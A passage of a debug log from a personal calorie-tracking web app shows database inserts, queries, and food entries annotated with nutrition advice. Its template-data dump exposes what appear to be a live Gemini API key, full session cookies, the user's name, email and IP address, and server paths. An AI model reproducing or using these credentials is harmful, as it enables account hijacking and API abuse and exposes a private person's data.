      protein: 6.4,
      carbs: 9.6,
      fat: 7,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of calcium, vitamin D, and high-quality protein (casein and whey), beneficial for muscle repair, bone health, and overall recovery. The fat content from full-fat milk is generally acceptable for muscle gain goals if it fits within your overall daily macro targets.'
    },
    {
      food_name: 'Whey Protein Powder',
      quantity: '1 scoop (delivering 27g protein)',
      total_calories: 125,
      protein: 27,
      carbs: 2,
      fat: 1,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Highly beneficial for muscle repair and growth, especially beneficial post-workout due to its rapid absorption. Provides a concentrated source of high-quality protein with minimal carbs and fat, strongly supporting muscle development goals.'
    }
  ],
  total_summary: {
    total_calories: 635,
    total_protein_g: 49.4,
    total_carbs_g: 75.6,
    total_fat_g: 14
  }
}
2025-12-15T16:15:20.949Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-15T16:15:20.950Z server-connect:app Executing action step identify
2025-12-15T16:15:20.950Z server-connect:app options: { provider: 'security' }
2025-12-15T16:15:20.950Z server-connect:output identity: 1
2025-12-15T16:15:20.950Z server-connect:app Executing action step restrict
2025-12-15T16:15:20.950Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T16:15:20.951Z server-connect:output restrict: undefined
2025-12-15T16:15:20.951Z server-connect:app Executing action step condition
2025-12-15T16:15:20.951Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-15T16:15:20.951Z server-connect:app Executing action step repeat
2025-12-15T16:15:20.951Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-15T16:15:20.951Z server-connect:app Executing action step insert
2025-12-15T16:15:20.951Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-15T16:15:20.953Z server-connect:output calories: { affected: 1, identity: 399 }
2025-12-15T16:15:20.953Z server-connect:app Executing action step insert
2025-12-15T16:15:20.953Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-15T16:15:20.954Z server-connect:output calories: { affected: 1, identity: 400 }
2025-12-15T16:15:20.954Z server-connect:app Executing action step insert
2025-12-15T16:15:20.954Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-15T16:15:20.955Z server-connect:output calories: { affected: 1, identity: 401 }
2025-12-15T16:15:20.955Z server-connect:output repeat: [ {}, {}, {} ]
2025-12-15T16:15:20.955Z server-connect:output condition: undefined
2025-12-15T16:15:21.220Z server-connect:router Serving templateView /calorie-tracker
2025-12-15T16:15:21.221Z server-connect:app Executing action step identify
2025-12-15T16:15:21.221Z server-connect:app options: { provider: 'security' }
2025-12-15T16:15:21.221Z server-connect:output identity: 1
2025-12-15T16:15:21.221Z server-connect:app Executing action step restrict
2025-12-15T16:15:21.221Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-15T16:15:21.221Z server-connect:output restrict: undefined
2025-12-15T16:15:21.222Z server-connect:router Render template layouts/main
2025-12-15T16:15:21.222Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '157.48.252.221',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.252.221',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '157.48.252.221',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-15T16:15:21.839Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-15T16:15:21.841Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-15T16:15:21.841Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-15T16:15:21.842Z server-connect:app Executing action step identify
2025-12-15T16:15:21.842Z server-connect:app options: { provider: 'security' }
2025-12-15T16:15:21.842Z server-connect:output identity: 1
2025-12-15T16:15:21.842Z server-connect:app Executing action step restrict
2025-12-15T16:15:21.842Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T16:15:21.842Z server-connect:app Executing action step identify
2025-12-15T16:15:21.842Z server-connect:app options: { provider: 'security' }
2025-12-15T16:15:21.842Z server-connect:output identity: 1
2025-12-15T16:15:21.843Z server-connect:app Executing action step restrict
2025-12-15T16:15:21.843Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T16:15:21.843Z server-connect:app Executing action step identify
2025-12-15T16:15:21.843Z server-connect:app options: { provider: 'security' }
2025-12-15T16:15:21.843Z server-connect:output identity: 1
2025-12-15T16:15:21.843Z server-connect:app Executing action step restrict
2025-12-15T16:15:21.843Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T16:15:21.844Z server-connect:output restrict: undefined
2025-12-15T16:15:21.844Z server-connect:app Executing action step single
2025-12-15T16:15:21.845Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-15T16:15:21.845Z server-connect:output restrict: undefined
2025-12-15T16:15:21.845Z server-connect:app Executing action step select
2025-12-15T16:15:21.845Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-15T16:15:21.845Z server-connect:output restrict: undefined
2025-12-15T16:15:21.845Z server-connect:app Executing action step single
2025-12-15T16:15:21.845Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-15T16:15:21.846Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-15T16:15:21.848Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-15T16:15:21.848Z server-connect:app Executing action step select
2025-12-15T16:15:21.848Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-15T16:15:21.849Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-15T16:15:21.850Z server-connect:output item_list: [
  {
    id: 390,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 1,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop (6.5 gm)',
    replacements: 'N/A (supplement with specific purpose, generally low calorie)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Designed to enhance workout performance and focus. Generally low in calories and can be beneficial for intense training sessions for muscle development.'
  },
  {
    id: 391,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium (approx 118g)',
    replacements: 'Berries (strawberries, blueberries - lower sugar and calories),Apple,Orange',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of quick carbohydrates for immediate energy, potassium, and other micronutrients. Ideal for pre or post-workout fuel to support muscle development and recovery.'
  },
  {
    id: 392,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat Flatbread)',
    calories: 360,
    protein_gm: 12,
    carbs_gm: 72,
    fat_gm: 4,
    quantity: '4 pieces (approx 200g cooked weight)',
    replacements: 'Brown rice (complex carbs),Quinoa (complex carbs, higher protein),Oats (complex carbs, good fiber)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'A staple source of complex carbohydrates, providing sustained energy for daily activities and intense workouts. Essential for replenishing muscle glycogen stores for muscle growth.'
  },
  {
    id: 393,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Aalo Sabji (Potato Curry)',
    calories: 280,
    protein_gm: 4,
    carbs_gm: 40,
    fat_gm: 15,
    quantity: '1 serving (approx 200g)',
    replacements: 'Mixed vegetable sabji (more fiber, fewer calories from potatoes),Dal (lentil curry - higher protein, lower fat),Paneer sabji (for higher protein intake)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Provides carbohydrates from potatoes and some healthy fats from cooking, contributing to energy needs. Can be made healthier by reducing oil content and adding more non-starchy vegetables.'
  },
  {
    id: 394,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Gulab Jamun',
    calories: 190,
    protein_gm: 2,
    carbs_gm: 30,
    fat_gm: 8,
    quantity: '1 piece (approx 40g)',
    replacements: 'Fresh fruit (e.g., berries, apple),Small piece of dark chocolate (70%+ cocoa),Greek yogurt with a touch of honey (higher protein, lower sugar)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 3,
    skip_reason: 'This dessert is high in refined sugar and unhealthy fats from deep frying, providing empty calories with minimal nutritional value. It can lead to blood sugar spikes and contributes to excess calorie intake, which is counterproductive for muscle development and overall health goals.'
  },
  {
    id: 395,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Buttermilk',
    calories: 76,
    protein_gm: 7,
    carbs_gm: 9,
    fat_gm: 2,
    quantity: '1 glass (approx 200ml)',
    replacements: 'Plain water,Unsweetened herbal tea,Diluted yogurt (without added sugar)',
    created_at: '2025-12-15T00:10:59.000Z',
    skip_level: 1,
    skip_reason: "Buttermilk (Chaas) is an excellent source of hydration, probiotics, and lean protein, especially if made from skimmed or low-fat curd. It's low in calories and supports digestion, which is beneficial for muscle development and overall gut health for someone with a desk job and active lifestyle."
  },
  {
    id: 396,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 120,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 5,
    quantity: '1 cup (240ml, assuming toned milk)',
    replacements: 'Black tea (zero calories),Green tea (zero calories),Herbal tea (zero calories),Tea with unsweetened almond milk (lower calories, often lower protein)',
    created_at: '2025-12-15T05:27:34.000Z',
    skip_level: 1,
    skip_reason: 'Provides protein, calcium, and hydration without added sugar. The protein content from milk can be beneficial for muscle development. Opting for toned/low-fat milk further manages fat intake.'
  },
  {
    id: 397,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Vada Pav',
    calories: 600,
    protein_gm: 16,
    carbs_gm: 70,
    fat_gm: 30,
    quantity: '2 pieces',
    replacements: 'Whole wheat paneer or chicken sandwich,Moong dal cheela with vegetables,Sprouts salad with boiled eggs',
    created_at: '2025-12-15T07:09:56.000Z',
    skip_level: 3,
    skip_reason: 'Vada Pav is a deep-fried item made with refined flour (pav), making it high in unhealthy fats and simple carbohydrates. While it provides calories, it offers limited nutritional value (micronutrients) and can contribute to unwanted fat gain, which is counterproductive for muscle development when cleaner fuel sources are available.'
  },
  {
    id: 398,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Max Protein RiteBite Bar',
    calories: 145,
    protein_gm: 10,
    carbs_gm: 15,
    fat_gm: 5,
    quantity: '1 bar',
    replacements: 'Boiled egg (approx. 70-80 cal, 6g protein),Small serving (100g) of Greek yogurt (approx. 60-100 cal, 10-15g protein),Handful of almonds (approx. 10-12 pieces, 80-100 cal, 3-4g protein)',
    created_at: '2025-12-15T07:09:56.000Z',
    skip_level: 1,
    skip_reason: 'This protein bar is a convenient source of protein and provides a quick energy boost, which is beneficial for muscle repair and growth, especially around your gym sessions. While processed, it serves its purpose well for a muscle development goal.'
  },
  {
    id: 399,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Idli Sambhar',
    calories: 380,
    protein_gm: 16,
    carbs_gm: 64,
    fat_gm: 6,
    quantity: '4 Idli, with Sambhar (approx. 2 servings of sambhar)',
    replacements: 'Reduced portion size (e.g., 2-3 idlis),More vegetable-rich sambhar, less oil/ghee,Brown rice idli',
    created_at: '2025-12-15T10:45:20.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for sustained energy to fuel workouts, and provides protein from the dal in sambhar. Offers fiber and essential micronutrients. Beneficial for muscle development when consumed in appropriate portions as part of a balanced diet.'
  },
  {
    id: 400,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Milk (Full Fat)',
    calories: 130,
    protein_gm: 6,
    carbs_gm: 10,
    fat_gm: 7,
    quantity: '1 glass (approx 200ml)',
